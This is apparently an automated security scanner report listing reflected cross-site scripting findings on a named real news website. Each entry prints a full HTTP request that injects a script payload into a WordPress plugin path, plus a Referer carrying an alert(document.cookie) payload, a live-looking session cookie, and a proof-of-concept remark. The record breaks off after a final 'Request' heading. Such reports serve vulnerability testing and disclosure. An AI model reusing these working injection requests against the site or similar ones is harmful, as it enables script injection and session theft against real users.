GET /wp-content/plugins35731"><script>alert(1)</script>67b75d33874/jquery-t-countdown-widget/js/jquery.lwtCountdown-1.0.js?ver=1.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 58968"><script>alert(1)</script>a8c63a8d62 was submitted in the REST URL parameter 3. This input was echoed as 58968\"><script>alert(1)</script>a8c63a8d62 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/jquery-t-countdown-widget58968"><script>alert(1)</script>a8c63a8d62/js/jquery.lwtCountdown-1.0.js?ver=1.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c1b7"><script>alert(1)</script>8927d43b38f was submitted in the REST URL parameter 4. This input was echoed as 7c1b7\"><script>alert(1)</script>8927d43b38f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/jquery-t-countdown-widget/js7c1b7"><script>alert(1)</script>8927d43b38f/jquery.lwtCountdown-1.0.js?ver=1.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6386"><script>alert(1)</script>6097b69b7c9 was submitted in the REST URL parameter 5. This input was echoed as b6386\"><script>alert(1)</script>6097b69b7c9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/jquery-t-countdown-widget/js/jquery.lwtCountdown-1.0.jsb6386"><script>alert(1)</script>6097b69b7c9?ver=1.1 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee761"><script>alert(1)</script>77e6dcd8c2f was submitted in the REST URL parameter 1. This input was echoed as ee761\"><script>alert(1)</script>77e6dcd8c2f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentee761"><script>alert(1)</script>77e6dcd8c2f/plugins/menu-manager/display/js/menu-manager.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce03d"><script>alert(1)</script>e9e57877bc8 was submitted in the REST URL parameter 2. This input was echoed as ce03d\"><script>alert(1)</script>e9e57877bc8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsce03d"><script>alert(1)</script>e9e57877bc8/menu-manager/display/js/menu-manager.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d675f"><script>alert(1)</script>1cc53769364 was submitted in the REST URL parameter 3. This input was echoed as d675f\"><script>alert(1)</script>1cc53769364 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-managerd675f"><script>alert(1)</script>1cc53769364/display/js/menu-manager.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ee29a"><script>alert(1)</script>587008800ec was submitted in the REST URL parameter 4. This input was echoed as ee29a\"><script>alert(1)</script>587008800ec in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/displayee29a"><script>alert(1)</script>587008800ec/js/menu-manager.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cc57"><script>alert(1)</script>10a34925f56 was submitted in the REST URL parameter 5. This input was echoed as 4cc57\"><script>alert(1)</script>10a34925f56 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display/js4cc57"><script>alert(1)</script>10a34925f56/menu-manager.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adb47"><script>alert(1)</script>27ad8d8ecc8 was submitted in the REST URL parameter 6. This input was echoed as adb47\"><script>alert(1)</script>27ad8d8ecc8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display/js/menu-manager.jsadb47"><script>alert(1)</script>27ad8d8ecc8?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33252"><script>alert(1)</script>892296e34a1 was submitted in the REST URL parameter 1. This input was echoed as 33252\"><script>alert(1)</script>892296e34a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content33252"><script>alert(1)</script>892296e34a1/plugins/menu-manager/display/js/superfish.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e92b"><script>alert(1)</script>c701359bfce was submitted in the REST URL parameter 2. This input was echoed as 8e92b\"><script>alert(1)</script>c701359bfce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins8e92b"><script>alert(1)</script>c701359bfce/menu-manager/display/js/superfish.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1a836"><script>alert(1)</script>b66ed940538 was submitted in the REST URL parameter 3. This input was echoed as 1a836\"><script>alert(1)</script>b66ed940538 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager1a836"><script>alert(1)</script>b66ed940538/display/js/superfish.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e92b"><script>alert(1)</script>c8a30cb0fa was submitted in the REST URL parameter 4. This input was echoed as 6e92b\"><script>alert(1)</script>c8a30cb0fa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display6e92b"><script>alert(1)</script>c8a30cb0fa/js/superfish.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 305f5"><script>alert(1)</script>4362317aaa9 was submitted in the REST URL parameter 5. This input was echoed as 305f5\"><script>alert(1)</script>4362317aaa9 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display/js305f5"><script>alert(1)</script>4362317aaa9/superfish.js?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 83911"><script>alert(1)</script>6a3ac9adfda was submitted in the REST URL parameter 6. This input was echoed as 83911\"><script>alert(1)</script>6a3ac9adfda in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display/js/superfish.js83911"><script>alert(1)</script>6a3ac9adfda?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 16ce8"><script>alert(1)</script>ba74cc712aa was submitted in the REST URL parameter 1. This input was echoed as 16ce8\"><script>alert(1)</script>ba74cc712aa in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content16ce8"><script>alert(1)</script>ba74cc712aa/plugins/menu-manager/display/styles/menu-manager.css?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73cf6"><script>alert(1)</script>00ef22bfef2 was submitted in the REST URL parameter 2. This input was echoed as 73cf6\"><script>alert(1)</script>00ef22bfef2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins73cf6"><script>alert(1)</script>00ef22bfef2/menu-manager/display/styles/menu-manager.css?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d54cc"><script>alert(1)</script>3dcd13916d8 was submitted in the REST URL parameter 3. This input was echoed as d54cc\"><script>alert(1)</script>3dcd13916d8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-managerd54cc"><script>alert(1)</script>3dcd13916d8/display/styles/menu-manager.css?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17a0d"><script>alert(1)</script>7d151f57cba was submitted in the REST URL parameter 4. This input was echoed as 17a0d\"><script>alert(1)</script>7d151f57cba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display17a0d"><script>alert(1)</script>7d151f57cba/styles/menu-manager.css?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 94b8b"><script>alert(1)</script>6eb885d1aad was submitted in the REST URL parameter 5. This input was echoed as 94b8b\"><script>alert(1)</script>6eb885d1aad in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display/styles94b8b"><script>alert(1)</script>6eb885d1aad/menu-manager.css?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cb93d"><script>alert(1)</script>8a7602599a5 was submitted in the REST URL parameter 6. This input was echoed as cb93d\"><script>alert(1)</script>8a7602599a5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/menu-manager/display/styles/menu-manager.csscb93d"><script>alert(1)</script>8a7602599a5?ver=2.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3c67"><script>alert(1)</script>610b9455319 was submitted in the REST URL parameter 1. This input was echoed as b3c67\"><script>alert(1)</script>610b9455319 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-contentb3c67"><script>alert(1)</script>610b9455319/plugins/nextgen-gallery/css/ngg_shadow.css?ver=1.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bce72"><script>alert(1)</script>5a211b9b14c was submitted in the REST URL parameter 2. This input was echoed as bce72\"><script>alert(1)</script>5a211b9b14c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/pluginsbce72"><script>alert(1)</script>5a211b9b14c/nextgen-gallery/css/ngg_shadow.css?ver=1.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7a6a6"><script>alert(1)</script>523d0c5812c was submitted in the REST URL parameter 3. This input was echoed as 7a6a6\"><script>alert(1)</script>523d0c5812c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /wp-content/plugins/nextgen-gallery7a6a6"><script>alert(1)</script>523d0c5812c/css/ngg_shadow.css?ver=1.0.0 HTTP/1.1 Host: starscene.dailystar.com.lb Proxy-Connection: keep-alive Referer: http://starscene.dailystar.com.lb/music-scenea960d%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eb7d5247b69c/2010/11/pianist-geoffrey-saba-performs-at-aubs-assembly-hall/x22 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=rqv6492k0k62as9elpq6dhnaj2; crep=show
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 63507"><script>alert(1)</script>c0dbf220b11 was submitted in the REST URL parameter 4. This input was echoed as 63507\"><script>alert(1)</script>c0dbf220b11 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
